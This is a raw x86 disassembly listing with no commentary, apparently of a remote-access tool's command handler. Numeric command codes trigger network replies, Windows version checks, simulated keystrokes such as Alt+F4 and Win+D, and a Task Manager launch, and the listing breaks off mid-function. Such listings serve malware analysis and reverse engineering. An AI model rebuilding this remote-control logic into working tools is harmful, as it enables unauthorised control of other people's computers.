lea eax, [ebp - 0x24]
push eax
mov eax, str.80011
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42e5c5
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e5d5
push ebx
call fcn.00465372
add esp, 4
jmp 0x4303ad
push 0x80000301
push 0
push dword [0x52f160]
push 1
mov ebx, 0x467ca0
call fcn.0046536c
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42e62a
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push 0x4fef2c
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42e659
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e67f
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x28]
push eax
mov eax, str.80011
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42e6a4
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42e6b4
push ebx
call fcn.00465372
add esp, 4
jmp 0x42e81e
push str._OK_
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42e81e
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x52f160]
push 2
mov ebx, 0x467bc0
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42e7be
push reloc.WS2_32.dll_connect
push 0
push 0x4fef38
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x80000301
push 0
push 0x19000
push 0x80000301
push 0
push dword [0x52f160]
push 2
mov ebx, 0x467980
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00414907
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e779
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42e789
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80011
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42e7ae
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42e7be
push ebx
call fcn.00465372
add esp, 4
push 0
push 0
push 0
push 0x80000301
push 0
push dword [0x52f160]
push 2
mov ebx, 0x467bc0
call fcn.0046536c
add esp, 0x1c
test eax, eax
je 0x42e81e
push 0x80000301
push 0
push dword [0x52f160]
push 1
mov ebx, 0x4678c0
call fcn.0046536c
add esp, 0x10
mov dword [0x52f160], 0
mov dword [0x52f164], 0
jmp 0x4303ad
push str.80012
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ed31
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e85b
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466b90
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42e884
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42e8aa
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42e8be
push ebx
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4fef38
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ea73
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e8ee
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x465950
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4efe04]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.004013a7
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42e939
mov eax, 0x4fa750
push eax
push 2
mov ebx, 0x466bd0
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42e962
mov eax, 0x4fa750
push eax
push 0x80000301
push 0
push dword [0x52f168]
push 2
mov ebx, 0x467ac0
call fcn.0046536c
add esp, 0x1c
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42e992
push ebx
call fcn.00465372
add esp, 4
push 0x80000301
push 0
push dword [0x52f168]
push 1
mov ebx, 0x467ca0
call fcn.0046536c
add esp, 0x10
mov dword [0x52f16c], eax
push 0x80000301
push 0
push dword [0x52f16c]
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ea00
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42ea13
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ea39
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42ea5e
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42ea6e
push ebx
call fcn.00465372
add esp, 4
jmp 0x42ecc7
push 0x4fef1e
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ecc7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ea9f
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42eada
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42eb00
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42eb22
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42eb1e
imul eax, dword [ebx]
jmp 0x42eb13
mov ecx, eax
test ecx, ecx
je 0x42eb41
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42eb3a
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42eb28
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 2
cmp eax, ecx
jl 0x42eb6b
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push 0
push 0
push 0
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42eb9a
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x4678a0
call fcn.0046536c
add esp, 0x28
mov dword [0x52f168], eax
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42ebd0
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
jne 0x42ebed
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x466120
call fcn.0046536c
add esp, 0x10
mov dword [0x52f170], eax
mov dword [0x52f16c], 0
push 0x80000301
push 0
push dword [0x52f16c]
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str._ok___
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ec59
push ebx
call fcn.00465372
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42ec6c
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42ec92
push ebx
call fcn.00465372
add esp, 4
lea eax, [ebp - 0x2c]
push eax
mov eax, str.80012
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041febd
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42ecb7
push ebx
call fcn.00465372
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42ecc7
push ebx
call fcn.00465372
add esp, 4
cmp dword [0x52f170], 0
je 0x42ecec
mov eax, dword [0x52f16c]
cmp dword [0x52f170], eax
jne 0x42ecec
mov eax, 1
jmp 0x42ecf1
mov eax, 0
test eax, eax
je 0x42ed2c
push 0x80000301
push 0
push dword [0x52f168]
push 1
mov ebx, 0x4678c0
call fcn.0046536c
add esp, 0x10
mov dword [0x52f168], 0
mov dword [0x52f170], 0
jmp 0x4303ad
push str.80013
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42ef63
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ed5d
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa75a
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ed98
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42edbe
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42ede0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42eddc
imul eax, dword [ebx]
jmp 0x42edd1
mov ecx, eax
test ecx, ecx
je 0x42edff
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42edf8
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42ede6
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00401249
push ebx
push ecx
mov ebx, dword [ebp - 0x14]
call fcn.00412306
dec eax
jns 0x42ee2d
push 4
call fcn.0046535a
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x42ee40
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x28], ebx
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fdb90
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x28]
mov eax, dword [ebx]
test eax, eax
jne 0x42ee7b
mov eax, 0x4efeeb
push eax
push 4
mov ebx, 0x465e50
call fcn.0046536c
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
jne 0x42eeff
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42eeae
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42eed7
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467450
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42eefa
push ebx
call fcn.00465372
add esp, 4
jmp 0x42ef5e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ef12
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42ef3b
mov eax, 0x4efeeb
push eax
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42ef5e
push ebx
call fcn.00465372
add esp, 4
jmp 0x4303ad
push str.80014
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42f8ad
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42ef8f
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42efca
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42eff0
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42f012
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42f00e
imul eax, dword [ebx]
jmp 0x42f003
mov ecx, eax
test ecx, ecx
je 0x42f031
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42f02a
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42f018
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x14]
call fcn.00412306
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jne 0x42f085
mov ebx, dword [ebp - 0x14]
call fcn.00401249
mov eax, 1
cmp eax, ecx
jl 0x42f070
push 1
call fcn.0046535a
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
push dword [ebp - 0x24]
call fcn.00434cc0
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f098
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4fef58
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42f0dc
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42f0f0
call fcn.00434f40
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f103
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fef5d
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f147
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f15b
call fcn.00434eed
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f16e
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fef62
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f1b2
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f1e5
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x54
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f1e0
push 6
call fcn.0046535a
add esp, 4
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f1f8
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4fef6b
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42f23c
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42f26f
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x54
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f26a
push 6
call fcn.0046535a
add esp, 4
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f282
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push 0x4fef74
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42f2c6
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42f2da
call fcn.00435039
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f2ed
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fef7d
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f331
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f345
call fcn.004350b0
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f358
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4fef8a
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f39c
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f52d
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b8]
test eax, eax
jne 0x42f3c7
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x465b60
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x24], eax
push str.Windows_7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f40b
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x42f4f7
push 0x80000301
push 0
push 5
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b8]
test eax, eax
jne 0x42f436
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x465b60
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x2c], eax
push str.Windows_8
push dword [ebp - 0x2c]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42f47a
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x30], 0
jne 0x42f4f7
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x52f0b8]
test eax, eax
jne 0x42f4a5
mov eax, 0x4efeeb
push eax
push 2
mov ebx, 0x465b60
call fcn.0046536c
add esp, 0x1c
mov dword [ebp - 0x34], eax
push str.Windows_10
push dword [ebp - 0x34]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x42f4e9
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x38], 0
jne 0x42f4f7
xor eax, eax
jmp 0x42f4fc
mov eax, 1
test eax, eax
je 0x42f528
mov dword [ebp - 0x24], esp
push 0
mov eax, 0x55
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f528
push 6
call fcn.0046535a
add esp, 4
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f540
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.win7
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f584
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f5b7
mov dword [ebp - 0x24], esp
push 1
mov eax, 0x55
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f5b2
push 6
call fcn.0046535a
add esp, 4
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f5ca
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.AltF4
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42f60e
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42f6e9
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x12
mov eax, 0x56
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f64b
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x73
mov eax, 0x56
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f67e
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x12
mov eax, 0x56
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f6b1
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x73
mov eax, 0x56
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f6e4
push 6
call fcn.0046535a
add esp, 4
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f6fc
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x28], eax
push str.CtrlShiftEsc
push dword [ebp - 0x28]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42f740
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x2c], 0
je 0x42f7ae
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str._systemroot_System32_taskmgr.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x42f7a9
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x10
push 0x11
push 0x1b
call fcn.004350ec
jmp 0x42f8a8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f7c1
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.WinD
push dword [ebp - 0x24]
call fcn.00402f0e
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f805
push ebx
call fcn.00465372
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x42f8a8
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x5b
mov eax, 0x57
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f842
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 0
push 0
push 0x44
mov eax, 0x57
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f875
push 6
call fcn.0046535a
add esp, 4
mov dword [ebp - 0x24], esp
push 0
push 2
push 0
push 0x5b
mov eax, 0x57
call fcn.00465360
cmp dword [ebp - 0x24], esp
je 0x42f8a8
push 6
call fcn.0046535a
add esp, 4
jmp 0x4303ad
push str.80015
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42f995
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42f8d9
mov eax, 0x4fa750
push eax
push 1
mov ebx, 0x4672f0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4fa742
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42f914
mov eax, 0x4efeeb
push eax
push 3
mov ebx, 0x466650
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42f93a
push ebx
call fcn.00465372
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42f95c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42f958
imul eax, dword [ebx]
jmp 0x42f94d
mov ecx, eax
test ecx, ecx
je 0x42f97b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42f974
push ebx
push eax
call fcn.00465372
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42f962
call fcn.00465372
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.004352ab
jmp 0x4303ad
push str.80007
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42fe1d
push reloc.WS2_32.dll_connect
push 0
push 0x4fefe4
push 1
mov ebx, 0x4667e0
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
test eax, eax
je 0x42f9db
mov ecx, dword [eax + 4]
push ecx
